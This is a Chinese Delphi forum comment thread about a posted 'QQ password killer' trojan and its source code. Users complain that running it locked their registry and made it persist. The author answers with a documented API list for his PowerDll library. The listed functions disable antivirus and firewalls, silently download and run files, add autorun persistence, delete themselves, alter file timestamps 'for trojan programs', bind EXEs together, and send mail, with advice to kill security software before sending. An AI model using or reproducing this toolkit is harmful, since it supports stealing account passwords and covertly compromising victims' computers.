捐赠 | 广告 | 注册 | 发布 | 上传 | 关于我们    
  沪ICP备05001939号 DELPHI盒子 | 盒子论坛 | 盒子文章 | 盒子问答悬赏 | 最新更新 | 论坛检索 | 下载中心 | 高级搜索    
  精品专区 | 繁體中文 | 奖励公告栏 | 直通车账号登陆 | 关闭GOOGLE广告 | 临时留言    
 
广告
评论:QQ密码杀手 V1.2 含源代码
delphiwangzi 14793 2005/5/15 0:03:21
真**的垃圾,我***
     这里是发布原代码的,不是在这里臭炫耀的
看看人家麻子,再看看你这样的人杂,我都替你脸红。。。。
     说什么不便发布,不便发布,为什么还把里面的内容介绍那么清楚
分明是想要人家羡慕
     去***,你不就是参考别人的代码做的吗,有什么的,
     ***
free8888man 10022 2004/11/30 18:21:14
妈的,又不是什么时候了不起的东东,这种垃圾该删,
tim001 8084 2004/8/27 14:00:47
封装了,就是说没有完整源码了!
wind8bell 7893 2004/8/19 7:43:32
给的powerdll的下载地址打不开啊?在哪儿还可以下载呢?
yuzi 7819 2004/8/15 21:06:57
本人不喜欢不完整的源码!
Public.pas 中又不是什么多高明的内容,从输出函数看那些代码很实用倒是真得,
垃圾代码拿来发布,有用的东西却藏起来,叫人不敢恭维。。。
sdll 7498 2004/8/3 11:55:10
有谁把它改成支持qq2004啊?麻烦说一下谢谢,
dududong 7315 2004/7/29 19:38:00
不好意思啊,我已经都改过来了.很是值得学习的源码,对自己以前说的话道歉.对不起啊,褚大侠。
login_free 7280 2004/7/29 10:53:23
我是此程序的作者:
    由于这个程序源代码开放的问题,以及很多朋友提及Public.pas的问题,我说明一下:
    我在DELPHIBBS上发帖说公开此程序的源代码,可是没地方放,如何让大家下载呢?我想到了盒子的FTP空间,所以就放上去了,我只是为了能让DFW上的朋友能够下载而已,其实真的并未想到会在盒子的上面出现,结果盒子的管理员把这个代码就放到盒子上来供大家下载了,事情就是如此。不过,即使放上来了,我后来又加入了DCU,可以编译了。
    很多朋友,下载了此源代码之后,编译时发现缺少Public.pas,因此加我QQ向我要,这个PAS,里面虽然没什么重要的代码,可是我不便于公开,不过,这个PAS里的东西我做成了PowerDll.dll,在后面将放上下载地址,里面的函数有需要的可以看看。
    另外,有些同志,急于看这个程序的运行效果,所以没看源代码就直接运行EXE,导致注册表被锁定,记事本文件关联被改写等,有的人修复不了,所以就对我破口大骂,让我修复。不过,即使这样,大家看了源代码之后,可以编程或者手动搞定的(特别弱的菜鸟除外),此问题,各位同志应该仔细的看看源代码再说,因为一个木马类程序,一定要做这些的,这些是正常的范围之内,希望各位谅解,对此造成的不便,深表抱歉。
    PowerDll V2.6下载地址:http://www.dywt.com.cn/vbs/viewFile.asp?Boardid=1&ID=11556
    此DLL内容如下:
PowerDll V3.0函数列表及使用方法如下:

2004-07-18 增加函数:DefaultAll和GetFileSize,本DLL支持自动注册。
function DefaultAll:Boolean;Stdcall;
//此函数能够解锁注册表、恢复IE首页以及恢复默认记事本关联。
function GetFileSize(FileName:PChar):Integer;stdcall;
//此函数能够返回一个文件的大小,FileName参数为要返回大小的文件的完整路径及文件名。
2004-07-12 修正了函数RegActiveX并使此DLL具有自动注册的功能。
function RegActiveX(ActiveXFileName:PChar;Active:Boolean):Boolean;stdcall;
  //此函数用于注册或者反注册ACTIVEX控件。假如要注册C:\abc.dll这个控件,则调用方法为:RegActiveX('C:\abc.dll',True);
2004-07-08 新增了几个关于MD5以及DES加密解密方面的函数:
function MD5String(S:PChar):PChar; Stdcall;
此函数为MD5加密字符串,假如我们要加密字符串"12345678",则调用方式为:MD5String('12345678'),此函数将返回加密后的字符串。
function MD5File(FileName:PChar):PChar; Stdcall;
此函数为MD5取得文件大小后加密得到的字符串,对于防止程序被修改或者破解有很大的作用。
function DESEncryStr(Str, Key:PChar):PChar; Stdcall;
此函数为DES加密字符串,假如我们要加密字符串S,钥匙为"123",则调用方式为:DESEncryStr(S,'123'),此函数将返回加密后的字符串。
function DESDecryStr(Str, Key:PChar):PChar; Stdcall;
此函数为DES解密字符串,假如我们要解密字符串S,钥匙为"123",则调用方式为:DESEncryStr(S,'123'),此函数将返回解密后的字符串。

2004-6-22 修正了DeleteDir函数,这样,此函数可以删除除系统盘外任何盘中的所有文件。
function DeleteDir(Dir:PChar):Boolean;stdcall;
//此函数为删除一个目录,此函数具有危险性,请慎调用。假设D盘下有music目录,调用方法为:DeleteDir('D:\music');

2004-6-16新增一个函数,同时又修改了SendEMail函数:
function GetDiskNumber:PChar;Stdcall; 
//此函数可以获得IDE硬盘的序列号。

2004-6-11新增两个函数:
function Killer:Boolean;Stdcall;
//此函数具有杀防火墙以及杀毒软件等功能,比如瑞星杀毒软件的实时监控,天网防火墙等。
function SendEMail(Smtp,UserName,Password,MailAddress,ToMailAddress,Subject,MailText:PChar):Boolean;Stdcall;
//此函数,在参数准确无误的情况下具有发信的功能。
调用方法:如果我们在网易(http://www.163.com)上有一个信箱,用户名假设是:123,密码假设是:456,我们要发信给邮件地址:123456@163.com,那我们调用此函数的例子为:
SendEMail('smtp.163.com','123','456','123@163.com','123456@163.com','这是这封邮件的主题!','这是这封信的内容,可以随便啦.');
说明:有些时候,在杀毒软件或者防火墙运行的时候,发信会失败的,所以见议发信前先Killer一下!
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function PowerDllabout:PChar;stdcall;
  //关于POWERDLL的版权信息及说明; 
function GetWindir:PChar;stdcall;
//获取WINDOWS目录的路径,例如在XP系统中,调用后返回的结果为:'c:\windows'
function GetSysDir:PChar;stdcall;
  //获取SYSTEM目录的路径,例如在XP系统中,调用后返回的结果为:'c:\windows\system32'
function KillProcess(ProcessName:PChar):boolean;stdcall;
 //此函数能关闭一个进程。例如关闭正在运行中的QQ。调用为:KillProcess('QQ.EXE');
function FindProcess(ExeFileName:PChar):boolean;stdcall;
  //此函数能寻找一个进程。例如寻找QQ的进程。调用为:FindProcess('QQ.EXE'); 如果系统中有此进程返回TRUE,否则返回FALSE。
function CloseWindow(ClassName,WindowName:PChar):boolean;stdcall;
//用于闭关一个窗口。例如关闭已经打开的“我的电脑”,调用方式为:CloseWindow(','我的电脑');
function GetProcessFilePath(ProcessName:PChar):PChar;stdcall;
//此函数能够获得在内存中运行着的程序的路径,如果参数ProcessName的进程存在,则函数会返回ProcessName的路径。
function HideDesktop(IsTrue:Boolean):boolean;stdcall;
  //此函数能句隐藏/显示桌面。参数中为TRUE时为隐藏,为FALSE时为显示。
function HideTaskbar(IsBool:Boolean):boolean;stdcall;
//此函数能句隐藏/显示状态栏。参数中为TRUE时为隐藏,为FALSE时为显示。
function GetDateTime:PChar;stdcall;
  //此函数获取当时的日期及时间。
function GetDiskNumber:PChar;Stdcall; 
//此函数可以获得IDE硬盘的序列号。
function GetCpuId:PChar;stdcall;//assembler;register;
  //此函数用于获得CPU的ID。
function IsNT:Boolean;stdcall;
//此函数判断当时系统是否为NT内核的操作系统。
function GetOSInfo:PChar;stdcall;
 //此函数获得系统的信息。如果为WINDOWS98会返回字符串'windows',如果为NT及NT以上的操作系统会返回字符串'NT'.
function ShutDown:boolean;stdcall;
 //此函数为关机函数。

function DeleteDir(Dir:PChar):Boolean;stdcall;
//此函数为删除一个目录,此函数具有危险性,请慎调用。假设D盘下有music目录,调用方法为:DeleteDir('D:\music');
function GetFileSize(FileName:PChar):Integer;stdcall;
//此函数能够返回一个文件的大小,FileName参数为要返回大小的文件的完整路径及文件名。
function SetFileTime(SourceFile,Targetfile:PChar):boolean;stdcall;
  //设置文件的时间,用于木马类程序。此函数将第二个参数中的文件的建立时间修改为第一个参数中的文件的建立时间。
function DeleteDir(Dir:PChar):Boolean;stdcall;
//此函数为删除一个目录,此函数具有危险性,请慎调用。假设D盘下有music目录,调用方法为:DeleteDir('d:\music');
function RunFile(FileName:PChar):boolean;stdcall;
  //运行程序。系统将启动一个线程运行参数中的EXE文件。例如想运行系统目录(XP中的为SYSTEM32)中的SOCK.EXE:
  //RunFile('c:\windows\system32\sock.exe');
function DownloadFile(SourceFile,Targetfile:PChar):boolean;stdcall;
//此函数为自动下载文件,不会提示下载对话框而后台下载。调用方法为:DownloadFile('http://www.sohu.com/abc.zip','c:\abc.zip');

function AutoRun(KeyValue:PChar;FileName:PChar):boolean;stdcall;
  //此函数写注册表,能让设定的程序随系统的启动而自动运行。第一个参数为写入注册表中的键值名。调用方法为:
  //AutoRun('MyExe','c:\windows\abc.exe');
//function LockMe(filename1:PChar;filename2:PChar;key1:PChar;key2:PChar):boolean;stdcall;
//function LinkTxt(FileName1,FileName2:PChar;B:Byte):Boolean;
function DeleteMe:boolean;stdcall;
 //此函数为程序自杀函数。调用后关闭自己的程序即可。请不要在调试的环境下使用此函数。

function HideHarddisk(HardDiskNumber:integer):boolean;stdcall;
//此函数修改注册表以隐藏硬盘,重启计算机后将生效。例如隐藏C盘的调用方法为:HideHarddisk(4);
function LockReg(B:Byte):boolean;stdcall;
 //此函数对注册表编辑器有锁定和解锁的功能。
function DefaultIE:boolean;stdcall;
  //此函数在IE的标题或者起始页被恶意网站修改的情况下能对其恢复。

function KillPopup:boolean;stdcall;
//此函数为屏蔽IE中的广告窗口。
function LocalIP:PChar;stdcall;
 //获取本机的IP地址。
function GetScreen(IncludeCur:Boolean;FileName:PChar):boolean;stdcall;
  //获得屏幕的图像内容,即屏幕抓图。前一个参数是是否抓取鼠标,后一个参数为抓取图像后存为的文件名。调用方法:
  //GetScreen(true,'c:\Screen.bmp');

//function InstallIcon(IsTrue:Boolean;Handle:THandle;IconHandle:THandle;szTipStr:PChar):boolean;stdcall;
function IsStopRun(TheWindow: HWnd; timeOut: Longint): Boolean;stdcall;
 //此函数用于判断一个程序是否已经停止运行,如果停止将返回TRUE。调用方法为:IsStopRun('我的电脑',1000);
function LoadFromFile(SourceFile,TargetFile :PChar):Boolean;stdcall;
//此函数与下一函数相对应。用于释放被加入的EXE文件。
function AddtoFile(SourceFile,Targetfile:PChar):Boolean;stdcall;
 //此函数将第一个参数中的EXE文件加到第二个参数的EXE文件的尾部。
function ChangeExeIcon(ExeFile,Iconfile:PChar;Index:Integer=0):Boolean;stdcall;
 //此函数可以改变一个有图标的EXE文件的图标。调用方法为:ChangeExeIcon('c:\exe.exe','c:\ico.ico');
function OpenCDRom(B:Byte):Boolean;stdcall;
function PlayMusic(Enabled:Boolean;FileName:PChar):boolean;stdcall;
 //此函数用于播放一个音乐文件,文件类型为当前系统MCI支持的类型。调用方法为:PlayMusic(true,'c:\love.mp3');
function ClearCmosPassword:Boolean;stdcall;
 //此函数用于在98系统下清除CMOS的密码。
function DefaultAll:Boolean;Stdcall;
//此函数能够解锁注册表、恢复IE首页以及恢复默认记事本关联。

function RegActiveX(ActiveXFileName:PChar;Active:Boolean):Boolean;stdcall;
  //此函数用于注册或者反注册ACTIVEX控件。假如要注册C:\abc.dll这个控件,则调用方法为:RegActiveX('C:\abc.dll',True);

function MD5String(S:PChar):PChar; Stdcall;
此函数为MD5加密字符串,假如我们要加密字符串"12345678",则调用方式为:MD5String('12345678'),此函数将返回加密后的字符串。
function MD5File(FileName:PChar):PChar; Stdcall;
此函数为MD5取得文件大小后加密得到的字符串,对于防止程序被修改或者破解有很大的作用。
function DESEncryStr(Str, Key:PChar):PChar; Stdcall;
此函数为DES加密字符串,假如我们要加密字符串S,钥匙为"123",则调用方式为:DESEncryStr(S,'123'),此函数将返回加密后的字符串。
function DESDecryStr(Str, Key:PChar):PChar; Stdcall;
此函数为DES解密字符串,假如我们要解密字符串S,钥匙为"123",则调用方式为:DESEncryStr(S,'123'),此函数将返回解密后的字符串。

function Killer:Boolean;Stdcall;
//此函数具有杀防火墙以及杀毒软件等功能,比如瑞星杀毒软件的实时监控,天网防火墙等。
function SendEMail(Smtp,UserName,Password,MailAddress,ToMailAddress,Subject,MailText:PChar):Boolean;Stdcall;
//此函数,在参数准确无误的情况下具有发信的功能。
调用方法:如果我们在网易(http://www.163.com)上有一个信箱,用户名假设是:123,密码假设是:456,我们要发信给邮件地址:123456@163.com,那我们调用此函数的例子为:
SendEMail('smtp.163.com','123','456','123@163.com','123456@163.com','这是这封邮件的主题!','这是这封信的内容,可以随便啦.');
//////////////////////////////////////////////////////////////////////////////////////
在DELPHI中的调用例子如下(新建一工程并保存,将PowerDLL.dll拷贝到工程的同目录中,在一按钮的CLICK事件中为以下代码):
procedure TMainForm.BAboutClick(Sender: TObject);
var
  PowerDLLabout:function:pchar;stdcall;
  Handle: THandle;
  begin
try
  if not FileExists('PowerDLL.dll') then exit;
  Handle := LoadLibrary('PowerDLL.dll');
  if Handle <> 0 then
  @PowerDLLabout := GetProcAddress(Handle,'PowerDllAbout');
  if @PowerDLLabout <> nil then
  ShowMessage(PowerDLLabout);
  FreeLibrary(Handle);
except end;
end;
////////////////////////////////////////////////////////////////////////////////////////////////

      作者:褚井春  内蒙古赤峰市  QQ:3249136  e-mail:1314soft@163.com  2004-07
////////////////////////////////////////////////////////////////////////////////////////////////

liumazi 7278 2004/7/29 10:27:10
主要很多人不清楚情况 跑去就开exe 纷纷中招 呵呵呵~~
zizii 7276 2004/7/29 10:01:15
重新上传了一下,他的确是隐藏了Public单元的东西,不过大家学习还是有用的。

作者原话:在程序中引用了Public.pas,不能编译的话,请删除对Public.pas的引用,再uses Public;就可以了,因为虽然没有Public.pas而存在Public.dcu。
liumazi 7267 2004/7/29 8:10:06
  要恢复注册表的看此帖子
http://www.delphibbs.com/delphibbs/dispq.asp?lid=2734954
dududong 7266 2004/7/29 8:08:15
真他妈变态.
dududong 7265 2004/7/29 8:00:52
这人变态,程序运行一次就会总是运行,扇了还有,另外还锁了注册表.
msfm 7242 2004/7/28 16:14:12
小心自己的密码被盗啊 骗局!!!!!
dfw@88473 7230 2004/7/28 12:44:55
这是什么破烂东西,注册表也不能用了。还要35元注册。
你tmd什么东西。变态
gotohell 7204 2004/7/27 17:29:52
大家不要用,他有点变态。
bestloen 7200 2004/7/27 15:35:01
是呀?就是少了个文件呀?D:\Delphi\DelphiAll\Public\Public.pas
另外这东西怎么用呀?
workhyj 7194 2004/7/27 12:50:57
good!
vicon 7179 2004/7/27 8:04:18
D:\Delphi\DelphiAll\Public\Public.pas
这个文件找不到啊!请提供 !
第一页 上一页 下一页 最后页 有 19 条纪录 共1页 1 - 19
 用户名:
 密 码:
自动登陆(30天有效)
 
  DELPHI盒子版权所有 1999-2023 V4.01 粤ICP备10103342号-1 更新RSS列表